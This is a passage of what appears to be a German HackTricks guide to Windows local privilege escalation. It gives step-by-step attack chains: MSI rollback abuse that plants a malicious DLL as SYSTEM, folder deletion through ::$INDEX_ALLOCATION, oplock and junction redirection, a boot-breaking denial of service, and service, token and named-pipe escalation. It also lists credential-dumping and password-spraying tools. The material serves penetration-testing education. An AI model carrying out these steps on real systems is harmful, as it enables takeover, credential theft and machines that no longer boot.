An diesem Punkt lösen Sie die SYSTEM-Level Arbitrary Folder Delete Schwachstelle aus, um C:\Config.Msi zu löschen.

  1. Phase 2 – Ersetzen der Rollback-Skripte durch bösartige

  • Schritt 6: C:\Config.Msi mit schwachen ACLs neu erstellen

  • Erstellen Sie den C:\Config.Msi-Ordner selbst neu.

  • Setzen Sie schwache DACLs (z. B. Everyone:F) und halten Sie einen Handle mit WRITE_DAC offen.

  • Schritt 7: Führen Sie eine weitere Installation aus

  • Installieren Sie das .msi erneut mit:

  • TARGETDIR: beschreibbarer Ort.

  • ERROROUT: Eine Variable, die ein erzwungenes Scheitern auslöst.

  • Diese Installation wird verwendet, um erneut ein Rollback zu erzwingen, das .rbs und .rbf liest.

  • Schritt 8: Auf .rbs überwachen

  • Verwenden Sie ReadDirectoryChangesW, um C:\Config.Msi zu überwachen, bis eine neue .rbs erscheint.

  • Erfassen Sie deren Dateinamen.

  • Schritt 9: Synchronisation vor dem Rollback

  • Das .msi enthält eine benutzerdefinierte Installationsaktion (SyncBeforeRollback), die:

  • ein Event signalisiert, wenn die .rbs erstellt wurde.

  • und dann wartet, bevor sie fortfährt.

  • Schritt 10: Schwache ACLs erneut anwenden

  • Nachdem Sie das rbs created-Event erhalten haben:

  • Der Windows Installer wendet starke ACLs erneut auf C:\Config.Msi an.

  • Aber da Sie immer noch einen Handle mit WRITE_DAC haben, können Sie erneut schwache ACLs anwenden.

ACLs werden nur beim Öffnen eines Handles durchgesetzt, daher können Sie weiterhin in den Ordner schreiben.

  • Schritt 11: Falsche .rbs und .rbf ablegen

  • Überschreiben Sie die .rbs-Datei mit einem gefälschten Rollback-Skript, das Windows anweist:

  • Ihre .rbf-Datei (bösartige DLL) in einen privilegierten Pfad wiederherzustellen (z. B. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Legen Sie Ihre gefälschte .rbf ab, die eine bösartige SYSTEM-Level-Payload-DLL enthält.

  • Schritt 12: Rollback auslösen

  • Signalisieren Sie das Sync-Event, damit der Installer fortfährt.

  • Eine type 19 custom action (ErrorOut) ist so konfiguriert, dass die Installation an einer bekannten Stelle absichtlich fehlschlägt.

  • Dies bewirkt, dass das Rollback beginnt.

  • Schritt 13: SYSTEM installiert Ihre DLL

  • Windows Installer:

  • liest Ihre bösartige .rbs.

  • kopiert Ihre .rbf-DLL in das Zielverzeichnis.

  • Sie haben nun Ihre bösartige DLL in einem von SYSTEM geladenen Pfad.

  • Letzter Schritt: SYSTEM-Code ausführen

  • Führen Sie eine vertrauenswürdige auto-elevated Binary aus (z. B. osk.exe), die die von Ihnen gehijackte DLL lädt.

  • Boom: Ihr Code wird als SYSTEM ausgeführt.

Von arbiträrem Datei-Löschen/Verschieben/Umbenennen zu SYSTEM EoP

Die Haupt-MSI-Rollback-Technik (die vorherige) setzt voraus, dass Sie einen gesamten Ordner löschen können (z. B. C:\Config.Msi). Aber was, wenn Ihre Schwachstelle nur arbitrary file deletion erlaubt?

Sie könnten die NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom namens:

C:\SomeFolder::$INDEX_ALLOCATION

Dieser Stream speichert die Index-Metadaten des Ordners.

Wenn Sie also den ::$INDEX_ALLOCATION-Stream eines Ordners löschen, entfernt NTFS den gesamten Ordner aus dem Dateisystem.

Das können Sie mit Standard-APIs zum Löschen von Dateien tun, z. B.:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Auch wenn du eine file delete API aufrufst, löscht sie den Ordner selbst.

Von der Löschung von Ordnerinhalten zu SYSTEM EoP

Was ist, wenn deine Primitive es nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber sie das Löschen der Inhalte eines vom Angreifer kontrollierten Ordners erlaubt?

  1. Schritt 1: Richte einen Köderordner und eine Datei ein
  • Erstelle: C:\temp\folder1
  • Darin: C:\temp\folder1\file1.txt
  1. Schritt 2: Platziere ein oplock auf file1.txt
  • Das oplock pausiert die Ausführung, wenn ein privilegierter Prozess versucht, file1.txt zu löschen.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Schritt 3: SYSTEM-Prozess auslösen (z. B. SilentCleanup)
  • Dieser Prozess durchsucht Ordner (z. B. %TEMP%) und versucht, deren Inhalte zu löschen.
  • Wenn es file1.txt erreicht, wird oplock triggers ausgelöst und die Kontrolle an deinen callback übergeben.
  1. Schritt 4: Innerhalb des oplock callback – die Löschung umleiten

  • Option A: Verschiebe file1.txt an einen anderen Ort

  • Das leert folder1, ohne das oplock zu brechen.

  • Lösche file1.txt nicht direkt — das würde das oplock vorzeitig freigeben.

  • Option B: Wandle folder1 in eine junction um:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Option C: Erstelle einen symlink in \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dies zielt auf den NTFS-internen Datenstrom, der die Ordner-Metadaten speichert — das Löschen davon löscht den Ordner.

  1. Schritt 5: Freigabe des oplock
  • Der SYSTEM-Prozess fährt fort und versucht, file1.txt zu löschen.
  • Aber jetzt löscht es aufgrund der junction + symlink tatsächlich:
C:\Config.Msi::$INDEX_ALLOCATION

Ergebnis: C:\Config.Msi wird von SYSTEM gelöscht.

Von Arbitrary Folder Create zu permanentem DoS

Nutze ein Primitiv, das es dir erlaubt, einen beliebigen Ordner als SYSTEM/admin zu erstellen — selbst wenn du keine Dateien schreiben oder schwache Berechtigungen setzen kannst.

Erstelle einen Ordner (keine Datei) mit dem Namen eines kritischen Windows-Treibers, z. B.:

C:\Windows\System32\cng.sys
  • Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber cng.sys.
  • Wenn es vorab als Ordner erstellt wird, kann Windows den eigentlichen Treiber beim Booten nicht laden.
  • Dann versucht Windows, cng.sys während des Bootvorgangs zu laden.
  • Es erkennt den Ordner, kann den eigentlichen Treiber nicht auflösen, und stürzt ab oder stoppt den Bootvorgang.
  • Es gibt keinen Fallback, und keine Wiederherstellung ohne externe Intervention (z. B. Boot-Reparatur oder Festplattenzugriff).

Von High Integrity zu SYSTEM

Neuer Dienst

Wenn du bereits in einem High Integrity-Prozess läufst, kann der Pfad zu SYSTEM einfach sein, indem du einen neuen Dienst erstellst und ausführst:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Wenn du ein Service-Binary erstellst, stelle sicher, dass es ein gültiger Service ist oder dass das Binary die notwendigen Aktionen schnell ausführt, da es sonst nach 20s beendet wird.

AlwaysInstallElevated

Aus einem High Integrity Prozess kannst du versuchen, die AlwaysInstallElevated registry entries zu aktivieren und eine reverse shell mit einem .msi Wrapper zu installieren.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Du kannst find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Wenn du diese Token-Privilegien hast (wahrscheinlich findest du das in einem bereits High Integrity Prozess), kannst du fast jeden Prozess (keine protected processes) mit SeDebug öffnen, das Token des Prozesses kopieren und einen beliebigen Prozess mit diesem Token erstellen.
Bei dieser Technik wählt man in der Regel einen Prozess, der als SYSTEM läuft und alle Token-Privilegien hat (ja, du kannst SYSTEM processes finden, die nicht alle token privileges haben).
Du kannst ein example of code executing the proposed technique here.

Named Pipes

Diese Technik wird von meterpreter für getsystem verwendet. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, damit dieser in diese Pipe schreibt. Danach kann der Server, der die Pipe unter Verwendung des SeImpersonate-Privilegs erstellt hat, das Token des Pipe-Clients (des Services) impersonifizieren und SYSTEM-Rechte erlangen.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Wenn es dir gelingt, eine dll zu hijacken, die von einem als SYSTEM laufenden Prozess geladen wird, kannst du beliebigen Code mit diesen Rechten ausführen. Daher ist Dll Hijacking für diese Art der Privilege Escalation nützlich und darüber hinaus viel einfacher von einem High Integrity Prozess aus zu erreichen, da dieser Schreibrechte auf den Ordnern hat, die zum Laden von dlls verwendet werden.
Du kannst learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Mehr Hilfe

Static impacket binaries

Nützliche Tools

Bestes Tool, um nach Windows local privilege escalation vectors zu suchen: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Prüft auf Misconfigurations und sensitive Dateien (check here). Detected.
JAWS -- Prüft einige mögliche Misconfigurations und sammelt Infos (check here).
privesc -- Prüft auf Misconfigurations
SessionGopher -- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal mit -Thorough verwenden.
Invoke-WCMDump -- Extrahiert credentials aus Credential Manager. Detected.
DomainPasswordSpray -- Verteilt gesammelte Passwörter im Domain-Umfeld
Inveigh -- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS Spoofer und Man-in-the-Middle Tool.
WindowsEnum -- Basis Windows privesc Enumeration
Sherlock ~~~~ -- Sucht nach bekannten privesc Schwachstellen (DEPRECATED für Watson)
WINspect -- Lokale Checks (Benötigt Admin-Rechte)

Exe

Watson -- Sucht nach bekannten privesc Schwachstellen (muss mit VisualStudio kompiliert werden) (precompiled)
SeatBelt -- Durchsucht den Host nach Misconfigurations (mehr ein Info-Gathering-Tool als reines privesc) (muss kompiliert werden) (precompiled)
LaZagne -- Extrahiert credentials aus vielen Programmen (precompiled exe im GitHub)
SharpUP -- Port von PowerUp nach C#
Beroot ~~~~ -- Prüft auf Misconfigurations (executable vorcompiliert im GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.
Windows-Privesc-Check -- Prüft mögliche Misconfigurations (exe aus python). Nicht empfohlen. Funktioniert nicht gut unter Win10.

Bat

winPEASbat -- Tool basierend auf diesem Post (benötigt accesschk nicht zwingend, kann es aber verwenden).

Local

Windows-Exploit-Suggester -- Liest die Ausgabe von systeminfo und empfiehlt passende Exploits (lokal python)
Windows Exploit Suggester Next Generation -- Liest die Ausgabe von systeminfo und empfiehlt passende Exploits (lokal python)

Meterpreter

multi/recon/local_exploit_suggestor

Du musst das Projekt mit der korrekten Version von .NET kompilieren (see this). Um die installierte Version von .NET auf dem Opfer-Host zu sehen, kannst du:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks